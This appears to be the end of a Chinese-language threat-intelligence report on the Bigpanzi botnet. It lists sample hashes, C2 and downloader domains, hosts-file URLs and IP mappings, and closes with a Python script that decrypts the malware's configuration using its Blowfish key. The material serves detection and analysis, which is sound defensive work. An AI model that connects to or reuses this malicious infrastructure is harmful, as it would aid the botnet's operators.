Bigpanzi在过去8年里一直潜伏在阴影中闷声发大财。伴随着业务的发展，带来的是样本，域名，IP的“膨胀”，在8年中它们已经累积到一个相当可观的数量。同时因为代码&基础设施复用的缘故，样本，域名，IP三者之间又形成了错综复杂关联。对于如此一个大而杂的网络，我们的发现只是Bigpanzi的冰山一角，还有大量的溯源工作可以展开，比如hosts文件中域名的用途，比如/marketdatas/apk这个pattern下大量的apk，比如Bigpanzi与FoneStar的关系等等。本文的分析仅仅是在黑暗中微弱的一束光，稍微把阴影中的Bigpanzi照亮了一点而已，欢迎安全社区中有视野的伙伴向我们提供新的线索，也欢迎安全社区中有治理动机&能力的伙伴与我们联系，希望有机会可以携手打击Bigpanzi团伙，共同维护网络安全。

IOC

pandoraspear sample

16047c1cbc51a1e625465a60092499aa
4079859aae0c6a46c6ba3516bdb500d0
59956383454c03084cfc568780a1ac1b
c8b83db92478fc2a1b1e10885ae85d92
ed69a2228a1280d1bce51b11bc7857d4
044122d46b874892227239ef9a1e7b3c
1bcc313bf3429bcf484f3fafe68726b0
a4f1808d4430fc2bbf5dc6749388727e
adb3efa194ca5aa377aa53a262744ca1

pandoraspear C2

apz.bsaldo.com
jgp.pdltdgie.com
ok3.mf1ve.com
pcn.panddna.com
ppn.pnddon.com
abcr.ftsym1.com
apz.pdonno.com
ok3.mflve.com
wrkv.jiexi.com
209.239.115.231	United States|Missouri|Saint Louis	AS30083|GoDaddy.com, LLC

pcdn sample

95357a1d45deebd8bdc4ac01a4ad8c08
7ccdaa9aa63114ab42d49f3fe81519d9
5b2727ba2924fd4d204bf39e601bb77c
4338e9bd02b42eb458f8515caa3bab8e
634c0e7fcc9529005a63c2918ad9dcc5

pcdn C2


zas8wie.snarutox.com
in32hbccw.oneconcord.net
pu9z3cca.trumpary.com
kp519bpa.fireisi.com
hgxx123p.ourhousei.com

ryy8zc.dotxui.com 
plart2z.incenu.com 
nikcc32.honisu.com 
wwrc9.ngoox.com 
iptty3m.dotxui.com

pcdn domain

pcdnbus.ou2sv.com
pcdnbus-bk.a2k3v.com

DDoS builder C2

stpoto.sdfaf1230app.net
ruetsm.mkuspt.com
dlewals.adfoiadf892.net
redavss.noip.me
alchaes.abdc11.com

Downloader

50.7.118.114:19090	United States|California|Los Angeles	AS174|Cogent Communications
50.7.118.114:19091	United States|California|Los Angeles	AS174|Cogent Communications
ak.tknxg.cf:8080
fadfa.dyanoe.com:8080
fadfa.gdalieyw.com:8080
fadfatest.pneydn.com
bas.sw1ez.com:8080
bps.tr2eq.com:8080
caq.xv8ta.com:8080
tano.jdsefbe.com:8080
tano.syhs8u.com:8080
tigx.xjs7zu.com:8080
tigx.xsefbe.com:8080
tyu.sdhenbe.com:8080
vpr.pprv1.com:8080
xihb.bhowljw1.com:8080
xihb.lgewer1f.com:8080
xtsj.ofdad3.com:8080
xtsj.sisenji.com:8080
xtsj.syshebe.com:8080
xtsj.terwea.com:8080
yuo.tyt3s.com:8080
tyu.fart1.com:8080

Hosts Downloader

http://pandoramain-1794008345.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts
http://pandorabackup-1322908155.us-west-2.elb.amazonaws.com:8080/marketdatas/dns/hosts
http://pcn.panddna.com:8080/marketdatas/dns/hosts

http://eumk.wak2p.com:8080/marketdatas/dns/hosts

Hosts


www.qicicloud.xyz www.tenlsi1.club
api.qicicloud.xyz api.tenlsi1.club
71.19.252.13 ok3.mflve.com	Canada|British Columbia|Coquitlam	AS11831|eSecureData
23.12.198.13 ageniustv1.cc	China|Taiwan|Taipei City	AS16625|Akamai Technologies, Inc.
54.149.89.70 eumk.wak2p.com	United States|Oregon|Portland	AS16509|Amazon.com, Inc.
71.19.250.244 www.htvmarket.com	Canada|British Columbia|Vancouver	AS11831|eSecureData
71.19.250.242 lof.sty1x.com	Canada|British Columbia|Vancouver	AS11831|eSecureData
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23.12.198.15 ageniusapp.cc	China|Taiwan|Taipei City	AS16625|Akamai Technologies, Inc.
23.12.198.15 sevenmiddleware.cf	China|Taiwan|Taipei City	AS16625|Akamai Technologies, Inc.
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23.12.198.15 pastebin.com	China|Taiwan|Taipei City	AS16625|Akamai Technologies, Inc.
23.12.198.15 channels2.homelinux.com	China|Taiwan|Taipei City	AS16625|Akamai Technologies, Inc.
209.239.115.206 vup.k2glu.com	United States|Missouri|Saint Louis	AS30083|GoDaddy.com, LLC
199.189.87.86 qhwh.waks2.com	United States|Missouri|Saint Louis	AS30083|GoDaddy.com, LLC
199.189.87.86 gt3.kt2wt.com	United States|Missouri|Saint Louis	AS30083|GoDaddy.com, LLC
192.200.112.10 pukpa.slkd4.com	United States|Utah|Ogden	AS53850|GorillaServers, Inc.
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142.0.141.169 cdab.p2mqt.com	United States|California|San Jose	AS54600|PEG TECH INC
94.75.218.122 b1.str2c.com	The Netherlands|Noord-Holland|Amsterdam	AS60781|LeaseWeb Netherlands B.V.
81.171.0.77 img.p2mqt.com	The Netherlands|Noord-Holland|Amsterdam	AS60781|LeaseWeb Netherlands B.V.
23.12.198.18 ageniusvod.cc	China|Taiwan|Taipei City	AS16625|Akamai Technologies, Inc.
18.182.215.73 dmdz.res4f.com	Japan|Tokyo|Tokyo	AS16509|Amazon.com, Inc.
18.182.215.73 p5x.ty3w2.com	Japan|Tokyo|Tokyo	AS16509|Amazon.com, Inc.
71.19.250.244 jdak.jdsaf.com	Canada|British Columbia|Vancouver	AS11831|eSecureData
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23.12.198.16 brasilhtv-epg1.cc	China|Taiwan|Taipei City	AS16625|Akamai Technologies, Inc.
71.19.252.13 abcr.ftsym1.com	Canada|British Columbia|Coquitlam	AS11831|eSecureData
71.19.252.13 ok3.mf1ve.com	Canada|British Columbia|Coquitlam	AS11831|eSecureData
118.184.69.3 vfz.str2c.com	China|Hongkong|Hongkong	AS137443|Anchnet Asia Limited
142.0.141.169 dcs.reakf.com	United States|California|San Jose	AS54600|PEG TECH INC
198.255.88.146 dcs.tefds.com	Canada|Ontario|Toronto	AS174|Cogent Communications
198.16.66.162 gsb.reakf.com	The Netherlands|Noord-Holland|Haarlem	AS174|Cogent Communications
23.237.10.90 gsb.tefds.com	United States|Colorado|Denver	AS174|Cogent Communications
34.98.72.97 jdl.pugexiz.com	United States|None|None	AS396982|Google LLC
34.36.1.200 jdl.hgdsd.com	United States|California|Mountain View	AS396982|Google LLC

Appendix

#python script ,which can decrypt the hosts,cmd,/data/.ms
#only test in ida7.6
#pip install pycryptodome

import struct
from Crypto.Cipher import Blowfish

tab = "./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

dec="2Sk28.BdtyL1A75rS.9ZFTc/hLgg90NI6jD0xhGS41H01Pe.RupYy1tJ7PS1"
out = b""
mylist = []
output = []


for i in range(len(dec)):
    index=tab.find(dec[i])
    mylist.append(index)

for i in range(0,len(mylist),6):
    tmp=0
    for j in range(6):
        tmp^=mylist[i+j]<<(j*6)
    output.append(tmp)


output[0::2],output[1::2]=output[1::2],output[0::2]
for i in output:
    s = struct.pack('>L', i)
    out += s

bl = Blowfish.new(b"zAw2xidjP3eHQ", Blowfish.MODE_ECB)
plaintxt = bl.decrypt(out)
print(plaintxt)
# plaintext  -->  1000@12.00AC:37:43:A1:0B:A7@0009@19944@\x00